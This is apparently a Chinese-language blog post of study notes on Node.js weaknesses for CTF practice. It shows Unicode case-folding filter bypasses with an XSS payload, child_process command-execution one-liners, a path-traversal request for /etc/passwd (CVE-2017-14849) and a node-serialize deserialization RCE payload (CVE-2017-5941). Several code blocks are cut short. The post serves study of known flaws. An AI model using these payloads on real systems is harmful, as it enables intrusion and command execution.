Node.js常见漏洞总结
很久不更新博客了,学习总结一下nodejs的知识点
[toc]
大小写特性
在javascript中有几个特殊的字符需要记录一下
对于toUpperCase():
1 | 字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S" |
对于toLowerCase():
1 | 字符"K"经过toLowerCase处理后结果为"k"(这个K不是K,是开尔文符号的K) |
在绕一些规则的时候就可以利用这几个特殊字符进行绕过,
可以参考p牛的老文章 Fuzz中的javascript大小写特性
prompt靶场的某一关
对于以下的过滤,便可以使用这个特性进行绕过
1 | function escape(input) { |
1 | input=<ımg src=1 onerror=prompt(1)> |
Hacktm中的一道Nodejs题
登陆页面/login
中有一个函数用于判断用户名是否为合理的用户名:
1 | function isValidUser(u) { |
在/updateUser
页面中有一个函数用于判断用户是否为管理员:
1 | function isAdmin(u) { |
本题要求我们通过isValidUser验证进行登录,同时又要求在管理界面可以被isAdmin判定为管理员,
本题的config文件中管理员用户名为hacktm,那么可以使用大小写的特性来绕过,我们登录的用户名为hacKtm,这样在isValidUser时就会判定我们为合法用户,而在isAdmin中,hacKtm转换成小写又会变成hacktm,从而在管理界面把我们判定成管理员
弱类型比较
大小比较
这个类似与php,这个就很多啦,直接看代码示例理解更快:
1 | console.log(1=='1'); //true |
总结:数字与字符串比较时,会优先将纯数字型字符串转为数字之后再进行比较;而字符串与字符串比较时,会将字符串的第一个字符转为ASCII码之后再进行比较,因此就会出现第五行代码的这种情况;而非数字型字符串与任何数字进行比较都是false。
数组的比较:
1 | console.log([]==[]); //false |
总结:空数组之间比较永远为false,数组之间比较只比较数组间的第一个值,对第一个值采用前面总结的比较方法,数组与非数值型字符串比较,数组永远小于非数值型字符串;数组与数值型字符串比较,取第一个之后按前面总结的方法进行比较。
还有一些比较特别的相等:
1 | console.log(null==undefined) // 输出:true |
变量拼接
1 | console.log(5+[6,6]); //56,3 |
模块加载与命令执行
在一些沙盒逃逸时我们通常是找到一个可以执行任意命令的payload,若是在ctf比赛中,我们需要getflag时通常是需要想尽办法加载模块来达成特殊要求。
比赛中常见可以通过child_process模块来加载模块,获得exec,execfile,execSync。
- 通过require加载模块如下:
1 | require('child_process').exec('calc'); |
- 通过global对象加载模块
1 | global.process.mainModule.constructor._load('child_process').exec('calc'); |
对于一些上下文中没有require的情况下,通常是想办法使用后者来加载模块,事实上,node的Function(…)并不能找到require这个函数。
有些情况下可以直接用require,如eval。
常用函数
- 执行js函数:
1 | eval(setInteval(some_function)); |
- 间隔两秒执行函数:
1 | setInteval(some_function, 2000); |
- 两秒后执行函数:
1 | setTimeout(some_function, 2000); |
some_function处就类似于eval函数的参数,类似于php中的create_function
- 类似于php中的create_function
1 | Function("console.log('HelloWolrd')")(); |
这里可以发现对于Function来说上下文并不存在require,需要从global中一路调出来exec。
测试
1 | router.post('/try',function (req, res, next) { |
直接使用require('child_process').exec('whoami')
发现返回的是对象
1 | require('child_process').execSync('whoami') |
vm沙箱逃逸
占个坑
原型链污染
另开一篇
尝试深入理解 JavaScript Prototype 污染攻击 | H4cking to the Gate . (h4cking2thegate.github.io)
Node.js 目录穿越漏洞 (CVE-2017-14849)
在vulhub上面可以直接下载到环境。
漏洞影响的版本:
- Node.js 8.5.0 + Express 3.19.0-3.21.2
- Node.js 8.5.0 + Express 4.11.0-4.15.5
1 | //app.js |
1 | GET /static/../../../aaa/../../../../etc/passwd 进行目录穿越 |
node-serialize 反序列化漏洞 (CVE-2017-5941)
漏洞出现在node-serialize模块0.0.4版本当中,使用npm install node-serialize@0.0.4
安装模块。
- 了解什么是IIFE:
IIFE(立即调用函数表达式)是一个在定义时就会立即执行的 JavaScript 函数。
IIFE一般写成下面的形式:
1 | (function(){ /* code */ }()); |
node-serialize@0.0.4
漏洞点
漏洞代码位于node_modules\node-serialize\lib\serialize.js中:
1 | var circularTasks = []; |
其中的obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
语句会把参数用括号包裹再传给eval,此时如果我们传入的参数是func(){evalcode}()
的形式,那么经过包裹后传入eval就变成了eval((func(){evalcode}()))
被eval当成了IIFE执行,从而触发evalcode
- 动态分析
写一个反序列化的小demo
1 | var express = require('express'); |
生成payload
1 | serialize = require('node-serialize'); |
此处不能直接在对象中把rce写成IIFE,否则会反序列化失败,而应该在生成的序列化对象末尾加上小括号
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('whoami',\r\n function(error, stdout, stderr){\r\n console.log(stdout)});\r\n }()"}
传入payload后可以发现obj[key]已经变成_$$ND_FUNC$$_function(){require('child_process').exec('whoami',\r\n function(error, stdout, stderr){\r\n console.log(stdout)});\r\n }()"
接着判断是否以FUNCFLAG开头,此时FUNCFLAG是_$$ND_FUNC$$_
此时传入eval的参数就变成了IIFE表达式